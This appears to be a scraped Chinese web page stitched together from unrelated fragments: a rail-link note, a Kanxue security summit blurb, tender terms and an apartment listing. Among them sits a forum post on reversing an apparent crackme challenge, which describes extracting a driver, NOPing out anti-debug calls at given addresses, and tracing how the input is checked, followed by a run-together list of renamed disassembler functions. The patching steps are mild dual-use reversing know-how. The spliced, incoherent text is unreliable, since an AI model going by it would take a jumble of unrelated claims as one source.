2018年广深港高铁香港段全线贯通后,虎门与香港空间距离也将进一步缩短;而且,虎门站已预留路轨往惠州方向,未来还可实现与惠州的迅速链接。,2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。。(公司提供营业执照复印件加盖公章,原件备查;其他组织提供相关证明复印件,原件备查)2、竞标人须拥有品牌独立进行经营,若涉及商标侵权等自行承担责任。。

昭文帝慕容熙2018-2-18 14:30:10

程序中包含一个驱动文件,用vs打开查看资源可以直接拿出驱动驱动里函数不多,根据DbgPrint里的字符能知道大部分函数作用有反调试,可以nop掉r3程序0x004015D4处的函数调用,保证堆栈平衡,还要nop掉0x004015D0处的函数参数简单分析加调试后知道整个程序流程是r3程序接受输入,判断长度是否为6,并转为小写倒序发送给驱动。,F户型建筑面积约142㎡四房两厅两卫。。Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198。

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